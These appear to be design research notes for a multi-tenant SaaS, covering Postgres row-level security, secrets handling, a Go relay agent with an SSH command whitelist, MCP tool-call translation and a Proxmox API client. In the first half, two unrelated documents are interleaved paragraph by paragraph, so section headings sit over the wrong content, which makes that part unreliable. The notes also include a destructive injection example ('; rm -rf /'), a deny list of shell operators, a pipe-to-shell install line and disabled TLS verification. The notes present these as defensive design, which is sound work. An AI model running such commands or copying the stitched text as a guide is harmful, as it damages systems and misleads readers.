## R-003 — Postgres RLS + audit hash-chain
|
||||
`tools/list` request (supports pagination via `cursor`):
|
||||
```json
|
||||
{ "jsonrpc": "2.0", "id": 1, "method": "tools/list", "params": { "cursor": "optional-cursor-value" } }
|
||||
```
|
||||
`tools/list` response:
|
||||
```json
|
||||
{ "jsonrpc": "2.0", "id": 1, "result": { "tools": [ { "name": "...", "description": "...", "inputSchema": {...} } ], "nextCursor": "next-page-cursor" } }
|
||||
```
|
||||
|
||||
**Scope:** M1 Wave A (REQ-038, REQ-039). The pattern propagates to every M2/M3 table.
|
||||
`tools/call` request:
|
||||
```json
|
||||
{ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "get_weather", "arguments": { "location": "New York" } } }
|
||||
```
|
||||
`tools/call` response (two error mechanisms):
|
||||
- **Protocol errors** (unknown tool, invalid args, server errors) → standard JSON-RPC error object: `{ "error": { "code": -32602, "message": "Unknown tool: ..." } }`. JSON-RPC error codes: -32700 parse error, -32600 invalid request, -32601 method not found, -32602 invalid params, -32603 internal error.
|
||||
- **Tool execution errors** (API failures, business logic) → normal result with `isError: true`:
|
||||
```json
|
||||
{ "jsonrpc": "2.0", "id": 4, "result": { "content": [ { "type": "text", "text": "Failed to fetch: rate limit exceeded" } ], "isError": true } }
|
||||
```
|
||||
- **Successful result** → `content[]` array of content items (text/image/audio/resource_link/resource) + `isError: false` + optional `structuredContent` (JSON object, when `outputSchema` provided).
|
||||
|
||||
**Findings:**
|
||||
- **RLS pattern:** every tenant-scoped table has `tenant_id UUID NOT NULL` and a policy `USING (tenant_id = current_setting('app.tenant_id')::uuid)`. The app connects as a role with `app.tenant_id` set per-transaction via `SET LOCAL app.tenant_id = $1` inside a transaction. `packages/db` exposes `withTenant(tenantId, async fn)` that opens a transaction, `SET LOCAL`, runs `fn`, commits. No query outside `withTenant` touches tenant-scoped tables.
|
||||
- **Pitfall:** `current_setting('app.tenant_id')` returns NULL if unset → policy `tenant_id = NULL` is false → rows invisible (safe default, but throws if a query runs outside `withTenant`). Enforce in code: a lint rule or a wrapper that rejects queries without a tenant context.
|
||||
- **Pitfall:** Superuser bypasses RLS. The app role must NOT be superuser. Migrations run as a separate `migrator` role (BYPASSRLS) gated by CI, not the app role.
|
||||
- **Audit hash-chain:** `audit_log (id BIGSERIAL, tenant_id UUID, prev_hash BYTEA, curr_hash BYTEA, payload JSONB, created_at TIMESTAMPTZ, ...)`. `curr_hash = sha256(prev_hash || canonical_jsonb(payload))`. The first row's `prev_hash` is a fixed genesis constant. `id` is monotonic; the chain is verifiable by walking `ORDER BY id`.
|
||||
- **Immutability:** `REVOKE UPDATE, DELETE ON audit_log FROM app_role`. Add a trigger that raises if anyone tries INSERT with a forged `prev_hash` (the app computes `curr_hash` in-app, but `prev_hash` must equal the last row's `curr_hash` for that tenant — a constraint trigger enforces this).
|
||||
- **Edge 7 (write failure halts):** the audit write runs inside the same transaction as the business operation. If the INSERT fails, the transaction rolls back and the operation never happened. Admin alert fires from the error handler.
|
||||
- **Pitfall:** Per-tenant hash-chain vs global hash-chain. Per-tenant chain is simpler to verify and avoids cross-tenant ordering contention. Use per-tenant chains (partition `audit_log` by `tenant_id` or index heavily on `(tenant_id, id)`).
|
||||
- **Reference:** Postgres RLS docs — `postgresql.org/docs/16/ddl-rowsecurity.html`.
|
||||
**M2 mapping:** The broker's adapter results map to MCP `content[]` as a single `TextContent` block (`{type:"text", text: JSON.stringify(normalizedResult)}`) for M2. `isError` is the load-bearing flag the OpenAI translator consumes. The broker does NOT use `structuredContent` in M2 (the REST facade returns JSON; MCP `content[].text` carries the serialized JSON). This is a deliberate simplification — M3 may add `structuredContent` if the chat UI needs typed results.
|
||||
|
||||
## R-004 — AWS Secrets Manager + KMS + local-encrypted dev fallback
|
||||
**3. Custom transport requirements (verbatim from spec, §Transports → Custom Transports):**
|
||||
|
||||
**Scope:** M1 Wave A (REQ-040). `SecretProvider` interface, two impls.
|
||||
> "Clients and servers **MAY** implement additional custom transport mechanisms to suit their specific needs. The protocol is transport-agnostic and can be implemented over any communication channel that supports bidirectional message exchange. Implementers who choose to support custom transports **MUST** ensure they preserve the JSON-RPC message format and lifecycle requirements defined by MCP. Custom transports **SHOULD** document their specific connection establishment and message exchange patterns to aid interoperability."
|
||||
|
||||
**Findings:**
|
||||
- `SecretProvider` interface: `get(tenantId, name): Promise<SecretValue>`, `put(tenantId, name, value): Promise<SecretRef>`, `delete(tenantId, name): Promise<void>`. `SecretRef` is a string like `aws-sm:coreci/<tenantId>/<name>` or `local:<tenantId>/<name>`.
|
||||
- `AwsSecretsManagerProvider` (prod): uses `@aws-sdk/client-secrets-manager`. Secret name convention `coreci/<tenantId>/<name>`. KMS key per tenant (or a shared CMK with encryption context `{tenantId}`). `put` creates or updates; `get` fetches + decrypts. IAM role scoped to the `coreci/*` prefix.
|
||||
- `LocalEncryptedProvider` (dev/test): AES-256-GCM. Master key from `SECRET_MASTER_KEY_DEV` env var (the ONE allowed env var for secrets — everything else is provider-resolved). Ciphertext stored in `.secrets/local-encrypted.json` (gitignored). Each entry: `{ciphertext, iv, authTag, salt}`. Key derived via PBKDF2 from the master key + per-entry salt.
|
||||
- **Pitfall:** The DB never stores the secret — only the `SecretRef`. `byom_endpoints.secret_ref TEXT` holds `aws-sm:coreci/<tenantId>/byom`. The app calls `secrets.get(tenantId, 'byom')` to resolve at use time.
|
||||
- **Pitfall:** Logging — never `console.log` a resolved secret. The `SecretValue` type should have a custom `toString()` that returns `[REDACTED]`. Add a lint rule banning `console.log(secret)`.
|
||||
- **Pitfall:** Rotation — out of M1 scope. The interface supports it (`put` overwrites); a rotation job is M3.
|
||||
- **Reference:** AWS Secrets Manager Node SDK — `docs.aws.amazon.com/secretsmanager`.
|
||||
**M2 implication:** The in-process custom transport (D-007) is spec-compliant IF and ONLY IF it preserves:
|
||||
1. **JSON-RPC 2.0 message format** — `tools/list` and `tools/call` requests/responses MUST be valid JSON-RPC 2.0 envelopes (`{jsonrpc:"2.0", id, method, params}` / `{jsonrpc:"2.0", id, result|error}`). The in-process transport passes these as JS objects (no wire serialization needed in-process, but the SHAPE must match).
|
||||
2. **Lifecycle requirements** — initialization (capability negotiation + version agreement), operation, shutdown. The M2 broker↔adapter in-process transport must implement a synthetic `initialize`/`initialized` handshake on adapter registration, OR document that single-process adapters skip lifecycle because they share the broker process. **Recommendation:** implement a lightweight synthetic `initialize` exchange at adapter registration (broker sends `{method:"initialize", params:{protocolVersion:"2025-06-18", capabilities:{tools:{listChanged:false}}}}`, adapter responds with `{capabilities:{tools:{}}}`) so the conformance artifact can point to a real lifecycle exchange. This is cheap and removes the lowest-confidence risk.
|
||||
|
||||
## R-005 — Go Relay Agent: install script, systemd, WebSocket, SSH whitelist hook
|
||||
**4. Streamable HTTP transport — does M2 need it? (verified: NO, the REST facade + SSE is compliant):**
|
||||
|
||||
**Scope:** M1 Wave D (REQ-010..013, REQ-026 whitelist hook). The SSH adapter itself is M2.
|
||||
The Streamable HTTP transport is a *specific* standard transport with mandatory behaviors: a single MCP endpoint supporting POST + GET, `Accept: application/json, text/event-stream`, `Mcp-Session-Id` header, `MCP-Protocol-Version` header, session management, resumability via `Last-Event-ID`. M2's broker↔UI uses a REST facade (`GET /api/mcp/tools`, `POST /api/mcp/invoke`, `GET /api/mcp/stream/:correlationId`) + SSE — this is NOT the MCP Streamable HTTP transport, and that is **compliant** because:
|
||||
- The MCP spec defines Streamable HTTP as a *standard transport* for client-server MCP communication. The broker↔UI is NOT an MCP client-server link — the UI is a browser client of a REST facade. The MCP conformance boundary is broker↔adapter (in-process custom transport) and broker↔CI LLM smoke (stdio). The REST facade is an application-layer convenience that wraps MCP-compliant tool schemas/results for browser consumption. The spec explicitly allows custom transports; a REST facade that carries MCP-shaped payloads is a custom transport pattern.
|
||||
- **Pitfall to document:** the REST facade MUST return tool schemas that are MCP `tools/list`-shaped (`{name, description, inputSchema}`) and tool results that are MCP `tools/call`-result-shaped (`{content:[{type:"text",text}], isError}`) inside the REST/SSE envelope. The `POST /api/mcp/invoke` → `{correlationId, streamUrl}` → `GET /api/mcp/stream/:correlationId` flow returns SSE events whose `data` field contains the MCP result. This preserves MCP shape at the payload layer while using REST/SSE at the transport layer.
|
||||
|
||||
**Install script (modular):**
|
||||
- Separate functions: `detect_os`, `install_binary`, `write_systemd_unit`, `register_target`, `main`.
|
||||
- `detect_os`: reads `/etc/os-release`, parses `ID` + `VERSION_ID`. Supported: `ubuntu` ≥ 24.04, `debian` ≥ 12. Anything else → exit non-zero with a clear message listing supported OS + versions (Edge 16).
|
||||
- `install_binary`: downloads the static Go binary for the detected arch (`uname -m` → amd64/arm64) from the control plane's release URL. Verifies SHA256 checksum. Installs to `/usr/local/bin/coreci-relay-agent`. Fallback: apt package from a configured repo (documented; same script path, different binary source).
|
||||
- `write_systemd_unit`: writes `/etc/systemd/system/coreci-relay-agent.service` with `ExecStart`, `Restart=on-failure`, `RestartSec=5`, `WantedBy=multi-user.target`, `Environment=CORECI_CONFIG=/etc/coreci/relay.env`. `systemctl daemon-reload && systemctl enable --now coreci-relay-agent`.
|
||||
- `register_target`: writes `/etc/coreci/relay.env` with `CORECI_TENANT_TOKEN=<token>` (the tenant registration token issued by the dashboard), `CORECI_SAAS_URL=https://...`. The token is a secret-manager reference bootstrap — the agent uses it to authenticate the first WebSocket; long-lived credentials are issued by the control plane post-registration.
|
||||
- **Pitfall:** `curl|bash` anti-patterns — always download to a temp file, verify checksum before executing, never pipe to a shell that runs as root without a checksum gate. The install script is `curl -fsSL https://.../install.sh | sh` but the script itself verifies the binary checksum before install.
|
||||
- **Pitfall:** Idempotency — re-running the script must upgrade, not fail. `install_binary` overwrites; `write_systemd_unit` overwrites + reloads; `register_target` preserves an existing token.
|
||||
**5. OpenAI ↔ MCP translation contract (verified against both specs):**
|
||||
|
||||
**Go binary:**
|
||||
- WebSocket client: `gorilla/websocket` or `nhooyr.io/websocket`. Outbound `wss://<saas>/api/relay/ws`. Auth: `Authorization: Bearer <tenant_token>` on the initial handshake.
|
||||
- Registration: first message after connect is `{type: "register", tenantId, hostname, os, osVersion, ip, agentVersion}`. Control plane responds `{type: "registered", targetId}`.
|
||||
- Heartbeat: send `{type: "ping", ts}` every 30s; control plane echoes `{type: "pong", ts}`. If no pong within 60s, drop + reconnect. `last_seen` updated on every ping → dashboard green/yellow/red.
|
||||
- Reconnect: exponential backoff (1s, 2s, 4s, 8s, 16s), max 5 attempts → log alert + keep trying every 60s. systemd `Restart=on-failure` handles hard crashes.
|
||||
- **Pitfall:** Clock skew — use server time for `last_seen`, not agent time.
|
||||
- **Pitfall:** TLS — pin the SaaS cert via the system trust store; never allow self-signed in prod (dev only flag).
|
||||
OpenAI Chat Completions `tool_calls` → MCP `tools/call`:
|
||||
- OpenAI: `choices[0].message.tool_calls[i] = { id, type:"function", function: { name, arguments } }` where `arguments` is a **JSON string**.
|
||||
- MCP: `{ method:"tools/call", params: { name, arguments } }` where `arguments` is a **parsed JSON object**.
|
||||
- Translation: `tool_calls[i].function.name` → `params.name`; `JSON.parse(tool_calls[i].function.arguments)` → `params.arguments`. **Pitfall:** OpenAI sends `arguments` as a string; MCP expects an object. The translator MUST `JSON.parse` and handle parse failures as a protocol error (not a tool execution error).
|
||||
|
||||
**SSH whitelist hook (M1 ships format + hook, M2 plugs adapter):**
|
||||
- Whitelist file: `/etc/coreci/ssh-whitelist.json`, shipped with the binary. Format: `{"commands": ["cat", "ls", "systemctl status", "journalctl", "df", "du", "ps", "top", "ss", "netstat", "ip", "uptime", "uname", "free", "who", "w", "last", "dmesg", "lscpu", "lspci", "lsblk", "mount", "findmnt", "hostname", "ip addr", "ip route", "ss -tlnp"], "arguments": {"deny": ["-exec", "-execdir", "--exec", "|", ">", ">>", "&", ";", "&&", "||"]}}`.
|
||||
- Enforcement hook: a Go function `CheckCommand(cmd string) error` that parses the command, checks the base command against the whitelist, checks arguments against the deny list, and returns an error if rejected. M2's SSH adapter calls `CheckCommand` before `exec.Command`. M1 ships the function + a unit test + the whitelist file; no SSH execution path yet.
|
||||
- **Pitfall:** `find -exec` is the classic whitelist escape — deny `-exec`/`-execdir`. Argument deny list catches redirections and shell operators.
|
||||
- **Reference:** systemd unit docs — `systemd.io` ; gorilla/websocket — `github.com/gorilla/websocket`.
|
||||
MCP `tools/call` result → OpenAI tool message:
|
||||
- MCP: `{ content: [{type:"text", text:"..."}], isError: false }` (or `isError: true`).
|
||||
- OpenAI: a follow-up `messages[]` entry `{ role:"tool", tool_call_id, content }` where `content` is a string. If the LLM should treat it as an error, OpenAI has no native `isError` — the convention is to put the error text in `content` and let the LLM read it, OR to surface an error response to the orchestrator. For M2's translator module (`packages/mcp/translator.ts`):
|
||||
- `isError: false` → `{ role:"tool", tool_call_id: <original tool_call id>, content: result.content[0].text }` (concatenate text blocks if multiple).
|
||||
- `isError: true` → `{ role:"tool", tool_call_id, content: "ERROR: " + result.content[0].text }`. The M3 orchestrator decides whether to retry or surface to the user. **M2 decision:** the translator passes `isError` through as a prefix in the content string; the LLM smoke asserts the mock LLM can read it. (Confidence 0.80 — OpenAI has no canonical error-in-tool-message format; this is a reasonable convention.)
|
||||
|
||||
## R-006 — Vanta evidence collection (M3 — noted, not built in M1)
|
||||
**6. Conformance verification artifact (M2 gate item 15):**
|
||||
|
||||
**Scope:** M3 only (REQ-042). Recorded here so M1 foundations don't block M3 instrumentation.
|
||||
The M2 gate must produce recorded evidence that the broker's MCP implementation conforms to `2025-06-18`. Concrete artifact: a `tests/mcp-conformance/` directory with:
|
||||
1. `tools-list.test.ts` — asserts `GET /api/mcp/tools` returns an array where each tool has `{name, description, inputSchema}` (JSON Schema object with `type:"object"`), and the 9-tool closed set matches REQ-015 exactly. Snapshot the full `tools/list` response.
|
||||
2. `tools-call-happy.test.ts` — invokes a mock adapter via `POST /api/mcp/invoke`, asserts the SSE stream emits a `tool_result` event whose `data` parses to `{content:[{type:"text",text}], isError:false}` — the MCP result shape.
|
||||
3. `tools-call-error.test.ts` — invokes a mock adapter that returns `isError:true`, asserts the SSE `error` terminal event carries the MCP error shape.
|
||||
4. `tools-call-invalid-args.test.ts` — invokes a tool with args not matching `inputSchema`, asserts HTTP 400 with a schema-validation error (broker rejects before adapter invocation — this is a protocol error, mapped to JSON-RPC error shape internally even though the REST facade returns HTTP 400).
|
||||
5. `translator.test.ts` — asserts the OpenAI↔MCP translator: `tool_calls[].function.{name, arguments(JSON string)}` → `params.{name, arguments(object)}` and `result.content[].text + isError` → OpenAI `{role:"tool", tool_call_id, content}`.
|
||||
6. `lifecycle.test.ts` — asserts the in-process custom transport performs the synthetic `initialize`/`initialized` handshake on adapter registration and preserves JSON-RPC 2.0 envelope shape.
|
||||
7. **Spec-version pin:** a constant `MCP_PROTOCOL_VERSION = "2025-06-18"` exported from `packages/mcp` and asserted in the conformance test header. A comment linking to `https://modelcontextprotocol.io/specification/2025-06-18/server/tools` and `.../basic/transports`.
|
||||
|
||||
**Findings:**
|
||||
- Vanta collects evidence via integrations (AWS, GitHub, HR systems) and via custom controls that call Vanta's API. The control plane exposes a `/vanta/evidence` endpoint that Vanta polls for control evidence (access logs, change management, vendor risk, incident response).
|
||||
- M1 action: ensure `audit_log` is queryable by an admin-scoped read role (not the app role) so M3's Vanta exporter can read it without bypassing RLS. The exporter runs as a tenant-scoped admin reader.
|
||||
- **No M1 build.** Just the architectural note.
|
||||
**The artifact is a passing test suite + a `CONFORMANCE.md` note** documenting: (a) the spec version, (b) which transports are used (in-process custom, stdio for LLM smoke, REST facade + SSE for UI — NOT Streamable HTTP), (c) the JSON-RPC shapes preserved, (d) the OpenAI↔MCP translation contract, (e) the synthetic lifecycle handshake. This satisfies gate item 15.
|
||||
|
||||
## R-007 — Cross-tenant isolation test pattern (REQ-039 pen test)
|
||||
### Pitfalls
|
||||
- **`title` and `outputSchema` are new in 2025-06-18** — older references show the schema without them. Pin to `2025-06-18` and document the version in code.
|
||||
- **`arguments` type mismatch** — OpenAI string vs MCP object. The translator MUST parse.
|
||||
- **`isError` is MCP-specific** — OpenAI has no equivalent; the translator convention (prefix "ERROR:") is an M2 decision, not spec-mandated.
|
||||
- **Streamable HTTP is NOT required** — the REST facade + SSE is a compliant custom transport pattern, but the broker must document this. Do NOT implement `Mcp-Session-Id` or `MCP-Protocol-Version` HTTP headers on the REST facade (those are Streamable HTTP transport specifics).
|
||||
- **Pagination** — `tools/list` supports `cursor`. M2's closed 9-tool set is small enough to return in one page (no `nextCursor`); the broker should omit `nextCursor` when there are no more pages.
|
||||
|
||||
**Scope:** M1 acceptance gate requires "cross-tenant isolation pen test result (must show zero leakage)".
|
||||
### References
|
||||
- MCP Tools spec: https://modelcontextprotocol.io/specification/2025-06-18/server/tools
|
||||
- MCP Transports spec: https://modelcontextprotocol.io/specification/2025-06-18/basic/transports
|
||||
- MCP Lifecycle spec: https://modelcontextprotocol.io/specification/2025-06-18/basic/lifecycle
|
||||
- JSON-RPC 2.0: https://www.jsonrpc.org/specification
|
||||
|
||||
**Findings:**
|
||||
- Test pattern: create two tenants (T1, T2), each with a target + a BYOM endpoint. Issue a query as T1's user attempting to read T2's data (direct table scan, join, subquery, `SET app.tenant_id` bypass attempt). Assert every query returns zero T2 rows.
|
||||
- Test the `withTenant` wrapper: any query outside `withTenant` must throw, not return rows.
|
||||
- Test the audit log: T1's audit entries are invisible to T2's admin export.
|
||||
- **Reference:** This becomes an integration test in Wave A + a dedicated pen-test script for the M1 review.
|
||||
**Confidence: 0.80** (spec verified verbatim; the only residual risk is the synthetic lifecycle handshake decision for in-process adapters — documented as a recommendation, not a spec mandate).
|
||||
|
||||
---
|
||||
|
||||
## R-002 — Proxmox VE API client patterns (PVEAuditor, read-only)
|
||||
|
||||
**Scope:** REQ-020 (Proxmox adapter), REQ-025 (PVEAuditor token auth). 3 capabilities: `proxmox.list_vms`, `proxmox.get_vm_status`, `proxmox.get_node_metrics`.
|
||||
|
||||
### Findings
|
||||
|
||||
**1. PVE API authentication — two modes:**
|
||||
|
||||
- **Ticket/Cookie auth:** POST `https://host:8006/api2/json/access/ticket` with `username=root@pam&password=...` → returns `{data:{ticket, CSRFPreventionToken, username}}`. The `ticket` is set as cookie `PVEAuthCookie=<ticket>`. **Write requests (POST/PUT/DELETE) require the `CSRFPreventionToken` header.** Tickets expire in 2 hours. **NOT used by M2** — M2 uses API tokens (stateless, no password handling, no 2h expiry).
|
||||
|
||||
- **API Token auth (M2 uses this):** Set HTTP `Authorization` header to `PVEAPIToken=USER@REALM!TOKENID=UUID`. Example: `Authorization: PVEAPIToken=root@pam!monitoring=aaaaaaaaa-bbbb-cccc-dddd-ef0123456789`. **Tokens do NOT need CSRF tokens for POST/PUT/DELETE** (the CSRF attack vector doesn't apply to non-browser token clients). Tokens are stateless and have separate permissions + expiration. This is exactly the M2 pattern: the operator creates a token scoped to `PVEAuditor` role, the broker stores the full `PVEAPIToken=...` string via SecretProvider, and the adapter sends it as the `Authorization` header on every GET request.
|
||||
|
||||
**`PVEAuditor` role scoping:** PVE has built-in roles; `PVEAuditor` is a read-only role that grants `Datastore.Audit`, `Sys.Audit`, `VM.Audit`, etc. — sufficient to GET nodes, qemu, and status endpoints. The token is created under a user (e.g. `root@pam` or a dedicated service user) with the token's permission boundary set to `PVEAuditor` at the `/` path (or a specific node path). The token inherits the user's role but can be further restricted; it CANNOT exceed the user's permissions.
|
||||
|
||||
**2. The 3 M2 capabilities' upstream endpoints:**
|
||||
|
||||
| Capability | Method | Endpoint | Notes |
|
||||
|-----------|--------|----------|-------|
|
||||
| `proxmox.list_vms` (inventory) | GET | `/api2/json/nodes/{node}/qemu` | List VMs on a node. Requires `VM.Audit`. Returns `{data: [{vmid, name, status, ...}]}`. **Pitfall:** requires a `node` argument — `list_vms` must first call `GET /api2/json/nodes` to enumerate nodes, then call `/qemu` per node, OR the broker's `list_vms` inputSchema requires a `node` param. **Recommendation:** `list_vms` inputSchema requires `node` (string); the Test-Call UI fetches the node list first via a separate `list_nodes`-like call OR `list_vms` returns VMs across all nodes by calling `/nodes` then `/qemu` per node. Simplest M2: `list_vms` requires `node` arg; a future `list_nodes` tool (not in M2's 9) would populate the picker. For M2, the adapter config can store a default node, OR the UI shows a node input. **Decision:** `list_vms` inputSchema: `{node: string (required)}` — keep it simple; the operator knows their node names. |
|
||||
| `proxmox.get_vm_status` (live) | GET | `/api2/json/nodes/{node}/qemu/{vmid}/status/current` | Current VM status. Requires `VM.Audit`. Returns `{data: {vmid, status, cpu, mem, ...}}`. inputSchema: `{node: string, vmid: integer}`. |
|
||||
| `proxmox.get_node_metrics` (live) | GET | `/api2/json/nodes/{node}/status` | Node status/metrics. Requires `Sys.Audit`. Returns `{data: {cpu, memory, uptime, ...}}`. inputSchema: `{node: string}`. |
|
||||
|
||||
**Pitfall:** the spec REQ-020 also mentions `GET /api2/json/nodes` and `GET /api2/json/qemu` — note that `/api2/json/qemu` is NOT a valid PVE endpoint (qemu is under a node). The 3 valid endpoints are `/nodes`, `/nodes/{node}/qemu`, `/nodes/{node}/qemu/{vmid}/status/current`, `/nodes/{node}/status`. The M2 adapter calls ONLY these GETs.
|
||||
|
||||
**3. Rate limiting in PVE API:** Proxmox VE does NOT document a hard rate limit, but the API is served by `pveproxy` (a Perl HTTP daemon) which has connection limits. Heavy polling can degrade the node. The M2 broker's token-bucket (60 user/min, 300 tenant/min) plus the 60s inventory cache for `list_vms` is sufficient backstop. No `Retry-After` header from PVE. **Pitfall:** if a customer's PVE is under load, the 10s upstream timeout (NFR) may fire → HTTP 504. The adapter should treat 5xx from PVE as a transient upstream error (HTTP 502/504 to the caller), not a write rejection.
|
||||
|
||||
**4. TypeScript HTTP client patterns for PVE:**
|
||||
- Base URL: `https://<host>:8006/api2/json/` (port 8006, HTTPS, often self-signed in customer labs).
|
||||
- **Pitfall — TLS:** customer PVE hosts frequently use self-signed certs. The adapter MUST allow `rejectUnauthorized: false` for PVE specifically (configurable per-adapter; default true in prod, but a `allowSelfSigned` config flag for PVE since it's the common case). **Security note:** this is per-adapter config, stored in the `mcp_adapters.config` JSON column, NOT a global setting. The broker validates it's only set for Proxmox adapters.
|
||||
- No cookie handling needed for token auth — just the `Authorization` header on every request.
|
||||
- Use the global `fetch` (Node 18+) with `AbortSignal.timeout(10_000)` for the 10s upstream NFR (mirrors `packages/byom/validator.ts` pattern).
|
||||
- Response shape: `{ data: <payload> }` — the adapter unwraps `data`. Errors: PVE returns `{ data: null, errors: "..." }` with HTTP 5xx, or HTTP 200 with `{data: null}` for some not-found cases. **Pitfall:** check both `!res.ok` AND `body.data === null`.
|
||||
|
||||
**5. PVE 7.x vs 8.x API differences:** The API is "API stable within a major release." The endpoints M2 uses (`/nodes`, `/nodes/{node}/qemu`, `/nodes/{node}/qemu/{vmid}/status/current`, `/nodes/{node}/status`) are unchanged from PVE 6.x through 8.x. The base path `/api2/json/` is stable. **No version-detection needed for PVE** (unlike Gitea). The adapter records the PVE version (from `GET /api2/json/version` during `test_connection`) in the config row for diagnostics, but does not branch on it. **Confidence: 0.85** — these endpoints are core and have not changed.
|
||||
|
||||
**PVEAuditor validation at submit time (REQ-025):** When Sam submits a Proxmox adapter config, the broker must verify the token's role is `PVEAuditor` before persisting. Approach: call `GET /api2/json/access/users/{user}/token/{tokenid}` with the token — this returns the token's permissions. **Pitfall:** introspecting the token's role is non-trivial; PVE doesn't have a clean "what role does this token have" endpoint. Practical approach: call `GET /api2/json/version` (any valid token can call this) to verify the token is valid, then attempt a read-only audit call like `GET /api2/json/nodes` — if it succeeds, the token has at least `Sys.Audit`; if a write-capable call would be needed to verify `PVEAuditor` specifically, that's a gap. **M2 decision:** the broker verifies the token is valid (`GET /version` succeeds) AND that a read-only audit call succeeds (`GET /nodes` returns 200). True `PVEAuditor` role enforcement is the operator's responsibility at token creation time (documented in the UI: "Create a token with PVEAuditor role"). The broker's submit-time check is "token works for reads," not "token lacks writes" — because PVE has no introspection for "does this token have write perms." The write-method blocklist (REQ-018: reject POST/PUT/DELETE at broker) is the load-bearing safety boundary. **Confidence: 0.70** — this is a pragmatic validation; true role introspection is a PVE gap. Document this in the adapter config UI help text.
|
||||
|
||||
### Implementation pattern
|
||||
```typescript
|
||||
// packages/mcp/adapters/proxmox/client.ts (sketch)
|
||||
async function pveGet(host: string, token: string, path: string, allowSelfSigned: boolean): Promise<unknown> {
|
||||
const url = `https://${host}:8006/api2/json${path}`;
|
||||
const agent = allowSelfSigned ? new https.Agent({ rejectUnauthorized: false }) : undefined;
|
||||
const res = await fetch(url, {
|
||||
headers: { Authorization: `PVEAPIToken=${token}` },
|
||||
signal: AbortSignal.timeout(10_000),
|
||||
// @ts-expect-error Node fetch agent
|
||||
agent,
|
||||
});
|
||||
if (!res.ok) throw new PveUpstreamError(`PVE ${res.status}: ${await res.text()}`);
|
||||
const body = await res.json() as { data: unknown };
|
||||
if (body.data === null) throw new PveUpstreamError(`PVE: null data for ${path}`);
|
||||
return body.data;
|
||||
}
|
||||
```
|
||||
|
||||
### References
|
||||
- Proxmox VE API: https://pve.proxmox.com/wiki/Proxmox_VE_API
|
||||
- PVE API viewer: https://pve.proxmox.com/pve-docs/api-viewer/index.html
|
||||
- API Tokens section (PVEAPIToken format, no CSRF for tokens)
|
||||
|
||||
**Confidence: 0.80** (API verified; PVEAuditor introspection is the residual risk, documented as a pragmatic decision).
|
||||
|
||||
---
|
||||
|
||||
## R-003 — SSH adapter via M1 Relay Agent (defense-in-depth, WebSocket)
|
||||
|
||||
**Scope:** REQ-021 (SSH/Linux adapter via Relay Agent), REQ-026 (SSH key + whitelist execution). One capability: `ssh.run_whitelisted_command`.
|
||||
|
||||
### Findings (grounded in M1 source: `apps/relay-agent/`)
|
||||
|
||||
**1. M1 Relay Agent WebSocket protocol (verified from `apps/relay-agent/wsclient/client.go`):**
|
||||
- Endpoint: `wss://<saas>/api/relay/ws` (control-plane `ws-server.ts` handles upgrade).
|
||||
- Auth: `Authorization: Bearer <tenantToken>` on handshake (JWT relay registration token, verified via `verifyRelayToken`).
|
||||
- M1 message types implemented: `register` (agent→server), `registered` (server→agent), `ping` (agent→server heartbeat every 30s), `pong` (server→agent). Unknown message types get an `{type:"error", error:"unknown message type"}` response.
|
||||
- **M1 explicitly leaves extensibility for M2:** the Go reader goroutine comment says "Not a pong; ignore but keep the loop alive for protocol extensibility (M2 tool-call messages will arrive here)." The M1 server `handleMessage` switch has a `default` case that returns an error for unknown types. **M2 adds a `tool_call` message type** — the control-plane `ws-server.ts` must add a `tool_call` handler, and the Go agent's reader goroutine must route `tool_call` messages to a new execution path.
|
||||
|
||||
**2. M1 `CheckCommand` whitelist hook (verified from `apps/relay-agent/whitelist/whitelist.go`):**
|
||||
- Signature: `CheckCommand(cmd string) error` — **THIS IS THE LOCKED G-004 CONTRACT.** M2's SSH adapter calls this BEFORE constructing `exec.Command`. Any change requires a documented migration.
|
||||
- The whitelist JSON (`ssh-whitelist.json`) is versioned (`version: 1`) with `commands` (allowed command prefixes) and `arguments.deny` (forbidden tokens like `-exec`, `|`, `>`, `&&`).
|
||||
- M1's whitelist is BROADER than M2's 6-command subset. M1 ships: `cat, ls, systemctl status, journalctl, df, du, ps, top, ss, netstat, ip, uptime, uname, free, who, w, last, dmesg, lscpu, lspci, lsblk, mount, findmnt, hostname, ip addr, ip route, ss -tlnp`.
|
||||
- **M2's 6-command subset (spec §7 Q3):** `uptime`, `df -h`, `free -m`, `systemctl status <svc>`, `journalctl -n <N>` (1-500), `systemctl list-units --type=service`. This is a SUBSET of M1's whitelist. M2's broker validates against this 6-command subset (layer 1, BEFORE dispatch); M1's `CheckCommand` validates against the broader M1 whitelist (layer 2, at execution). **Both must pass.** Layer 1 is stricter (6 commands) than layer 2 (M1's full whitelist) — this is correct defense-in-depth: the broker rejects anything outside the 6, and the Relay Agent would reject anything outside M1's broader set even if the broker were bypassed.
|
||||
|
||||
**3. Broker-side validation (layer 1) — how to validate the 6-command subset:**
|
||||
The 6 commands are structured, not free-form. The broker must parse the `command` argument and validate it matches one of:
|
||||
- `uptime` — exact match (no args).
|
||||
- `df -h` — exact match.
|
||||
- `free -m` — exact match.
|
||||
- `systemctl status <svc>` — prefix `systemctl status ` followed by a service name (alphanumeric + `-` + `_` + `.`). **Pitfall:** `<svc>` is user-supplied; the broker must sanitize (regex `^[a-zA-Z0-9_.-]+$`, max 64 chars) to prevent injection like `systemctl status nginx; rm -rf /`.
|
||||
- `journalctl -n <N>` — `journalctl -n ` followed by an integer 1-500. Regex `^journalctl -n ([1-9][0-9]{0,2}|500)$`.
|
||||
- `systemctl list-units --type=service` — exact match.
|
||||
|
||||
**Implementation pattern:** a `validateSshCommand(command: string): {ok: boolean, reason?: string}` function in `packages/mcp/adapters/ssh/whitelist.ts` using a small rules table. **Do NOT use the M1 Go whitelist's tokenization** — that's Go and runs in the agent. The broker (TypeScript) reimplements the 6-command validation independently (defense-in-depth: two independent implementations). **Pitfall:** the broker validation and the Go `CheckCommand` are deliberately independent codepaths so a bug in one doesn't bypass the other.
|
||||
|
||||
**4. WebSocket message format for `tool_call` (M2 addition to the M1 protocol):**
|
||||
|
||||
The M1 protocol uses JSON messages over the WebSocket. M2 adds:
|
||||
- Server→Agent: `{ "type": "tool_call", "callId": "<ulid>", "command": "uptime", "timeoutMs": 10000 }`
|
||||
- Agent→Server (success): `{ "type": "tool_result", "callId": "<ulid>", "stdout": "...", "stderr": "...", "exitCode": 0 }`
|
||||
- Agent→Server (error/rejection): `{ "type": "tool_result", "callId": "<ulid>", "error": "whitelist rejected: ...", "exitCode": -1 }` (the Relay Agent's `CheckCommand` rejection path).
|
||||
